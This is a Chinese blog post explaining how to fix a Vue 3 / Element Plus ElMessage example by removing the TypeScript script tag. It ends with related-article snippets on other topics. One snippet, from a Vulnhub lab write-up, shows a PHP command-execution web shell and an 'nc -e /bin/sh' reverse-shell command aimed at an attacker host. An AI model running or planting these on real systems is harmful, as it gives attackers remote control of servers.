【已解决】引用官网的 Element-Message 消息框居然报错为什么呢?

vue 版本 : vue3
编程语言:JavaScript

os: macos13
组件 :element-plus
问题组件: Message 信息框

问题:想学习使用 element 官网里的组件,我找到了message
消息提示,然后我就把代码复制下来放到创建好的 app.vue中的组件中,结果报一堆错误。 吓人这么一堆看都看不懂在这里插入图片描述官网示例代码:

<template><el-button :plain="true" @click="open1">Success</el-button><el-button :plain="true" @click="open2">Warning</el-button><el-button :plain="true" @click="open3">Message</el-button><el-button :plain="true" @click="open4">Error</el-button>
</template><script lang="ts" setup>
import { ElMessage } from 'element-plus'const open1 = () => {ElMessage({message: 'Congrats, this is a success message.',type: 'success',plain: true,})
}
const open2 = () => {ElMessage({message: 'Warning, this is a warning message.',type: 'warning',plain: true,})
}
const open3 = () => {ElMessage({message: 'This is a message.',type: 'info',plain: true,})
}
const open4 = () => {ElMessage({message: 'Oops, this is a error message.',type: 'error',plain: true,})
}
</script>

在这里插入图片描述

解决方案:
其实这是 webpack 编译的错误,因为无法识别ts 文件,全程是 typescript ,我们只需要把 ts 代码改为 js 即可,修改好的代码:

<template><el-button :plain="true" @click="open1">Success</el-button><el-button :plain="true" @click="open2">Warning</el-button><el-button :plain="true" @click="open3">Message</el-button><el-button :plain="true" @click="open4">Error</el-button>
</template><script setup>
import { ElMessage } from 'element-plus'const open1 = () => {ElMessage({message: 'Congrats, this is a success message.',type: 'success',plain: true,})
}
const open2 = () => {ElMessage({message: 'Warning, this is a warning message.',type: 'warning',plain: true,})
}
const open3 = () => {ElMessage({message: 'This is a message.',type: 'info',plain: true,})
}
const open4 = () => {ElMessage({message: 'Oops, this is a error message.',type: 'error',plain: true,})
}
</script>

到这里就结束了,只是简单的语法识别错误,只需要改为 js 即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/27783.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Node.js和npm的安装及配置

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞 I/O 的模型。 npm&#xff08;node package manager&#xff09;是一个 Node.js 包管理和分发工具&#xff0c;也是整个 Node.js 社区最流行、支持第三方模块最多的包管理器。使…

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题 问题描述 按照U250官方文档下载Conda环境的时候&#xff0c;即语句./scripts/machine-launch-script.sh --prefix REPLACE_ME_USER_CONDA_LOCATION的时候会遇到以下报错&#xff1a; Sol…

30KW高原汽油发电机,海拔5000米可使用

大汉动力高原汽油发电机是专为高原地区设计的发电设备&#xff0c;其设计和特性考虑了高原环境的特别性。以下是关于高原汽油发电机的一些关键信息&#xff1a; 设计特点&#xff1a; 高原适应性&#xff1a;高原地区海拔高&#xff0c;空气稀薄&#xff0c;氧气含量低&#x…

CrossOver 2024软件安装包下载

CrossOver不像Parallels或VMware的模拟器&#xff0c;而是实实在在Mac OS X系统上运行的一个软件。CrossOvers能够直接在Mac上运行Windows软件与游戏&#xff0c;而不需虚拟机。它为Windows软件提供所需的资源&#xff0c;以达到在Mac OS X系统上运行Windows程序的目的。 安 装…

Spring Security——结合JWT实现令牌的验证与授权

目录 JWT&#xff08;JSON Web Token&#xff09; 项目总结 新建一个SpringBoot项目 pom.xml PayloadDto JwtUtil工具类 MyAuthenticationSuccessHandler&#xff08;验证成功处理器&#xff09; JwtAuthenticationFilter&#xff08;自定义token过滤器&#xff09; W…

Printing and Exporting

打印 大多数DevExpress。NET控件&#xff08;XtraGrid、XtraPivotGrid、XttraTreeList、XtraScheduler、XtraCharts&#xff09;提供打印和导出功能。 所有可打印的DevExpress.NET控件是使用XtraPrinting库提供的方法打印的。 若要确定预览和打印选项是否可用&#xff0c;请检…

适合加密货币交易者的免费指标

本文介绍了7种用于分析加密货币市场的免费技术指标&#xff0c;帮助交易者和投资者提升交易技巧和盈利能力。原文: Best 7 Free Trading Indicators for Every Cryptocurrency Trader Austin Distel Unsplash 大家好&#xff01;无论是加密货币市场的交易者还是投资者&#xff…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

算法day26

第一题 429. N 叉树的层序遍历 本题的要求我们可以通过队列来辅助完成层序遍历&#xff1b; 如下图的n叉树&#xff1a; 步骤一&#xff1a; 我们定义一个队列&#xff0c;先进行根节点入队列操作&#xff1b; 步骤二&#xff1a; 我们进行当前队列每一个元素的出队列操作&…

嵌入式学习——Linux高级编程复习(UDP编程)——day43

1. UDP编程——函数接口 1.1 socket 1. 定义 int socket(int domain, int type, int protocol); 2. 功能 创建一个用来进程通信的套接字,返回文件描述符 3. 参数 domain:AF_INET IPv4协议族 type:SOCK_STREAM 流式套接字 tcp传输协议…

2024新消费特点---探索消费升级与品牌力量

最近看到不少消费视频&#xff0c;想起之前听过江南春的一场分享&#xff0c;结尾总结了张思维导图&#xff0c;分享给大家&#xff01; 随着时代的变迁&#xff0c;消费者的需求和市场环境也在不断演进。今天&#xff0c;我们将深入探讨消费升级的深层含义以及品牌如何在竞争…

集成学习 Ensemble Learning

目录 一、集成学习概览1、介绍2、学习器3、boosting和bagging比较1、样本选择2、样例权重3、预测函数4、计算5、其他 4、结合策略 二、Adaboost1、介绍2、运行过程3、特点4、代码示例 三、随机森林1、介绍2、随机森林生成3、特点4、优缺点5、代码示例6、参数介绍 四、GBDT1、介…

新火种AI|苹果终于迈进了AI时代,是创新还是救赎?

作者&#xff1a;一号 编辑&#xff1a;美美 苹果的AI战略&#xff0c;能够成为它的救命稻草吗&#xff1f; 苹果&#xff0c;始终以其独特的创新能力引领着行业的发展方向。在刚结束不久的2024年的全球开发者大会&#xff08;WWDC&#xff09;上&#xff0c;苹果再次证明了…

深入浅出 Qt 中 QListView 的设计思想,并掌握大规模、高性能列表的实现方法

在大规模列表控件的显示需求中&#xff0c;必须解决2个问题才能获得较好的性能&#xff1a; 第一就是数据存在哪里&#xff0c; 避免出现数据的副本。第二就是如何展示Item&#xff0c;如何复用或避免创建大量的Item控件。 在QListView体系里&#xff0c;QAbstractListModel解…

面试-NLP八股文

机器学习 交叉熵损失&#xff1a; L − ( y l o g ( y ^ ) ( 1 − y ) l o g ( 1 − ( y ^ ) ) L-(ylog(\hat{y}) (1-y)log(1-(\hat{y})) L−(ylog(y^​)(1−y)log(1−(y^​))均方误差&#xff1a; L 1 n ∑ i 1 n ( y i − y ^ i ) 2 L \frac{1}{n}\sum\limits_{i1}^{n}…

大模型学习之GLM结构

探索GLM&#xff1a;一种新型的通用语言模型预训练方法 随着人工智能技术的不断进步&#xff0c;自然语言处理&#xff08;NLP&#xff09;领域也迎来了革命性的发展。OpenAI的ChatGPT及其后续产品在全球范围内引起了广泛关注&#xff0c;展示了大型语言模型&#xff08;LLM&a…

分离式网络变压器与传统网络变压器在电路设计中如何选择?

Hqst盈盛&#xff08;华强盛&#xff09;电子导读&#xff1a;今天分享的是&#xff1a;分离式网络变压器与传统网络变压器在电路设计中如何选择&#xff1f; 首先&#xff0c;我们要了解传统网络变压器和分离式网络变压器在设计上主要有以下不同点&#xff1a; 1、传统网络变…

​​Vitis HLS 学习笔记--添加 RTL 黑盒函数

目录 1. 简介 2. 用法详解 2.1 需要的文件 2.1.1 RTL 函数签名 2.1.2 黑盒 JSON 描述文件 2.1.3 RTL IP 文件 2.2 操作步骤 3. 总结 1. 简介 Vitis HLS 工具可以将现有的 Verilog RTL IP&#xff08;即硬件描述语言编写的模块&#xff09;集成到 C/C HLS 项目中。通过…

专家解读 | NIST网络安全框架(3):层级配置

NIST CSF在核心部分提供了六个类别的关键功能和子功能&#xff0c;并围绕CSF的使用提供了层级&#xff08;Tier&#xff09;和配置&#xff08;Profile&#xff09;两种工具&#xff0c;使不同组织和用户更方便有效地使用CSF&#xff0c;本文将深入探讨CSF层级和配置的主要内容…

【PL理论】(24) C- 语言:有块的作用域 | 更新的语法 | 新的语义域 | 环境 vs. 内存

&#x1f4ad; 写在前面&#xff1a;我们将再次扩展之前的C语言&#xff0c;让我们向这种语言引入“作用域”的概念。 目录 0x00 C- 语言&#xff1a;有块的作用域 0x01 C- 语言&#xff1a;更新的语法 0x02 新的语义域 0x03 环境 vs. 内存 0x00 C- 语言&#xff1a;有块的…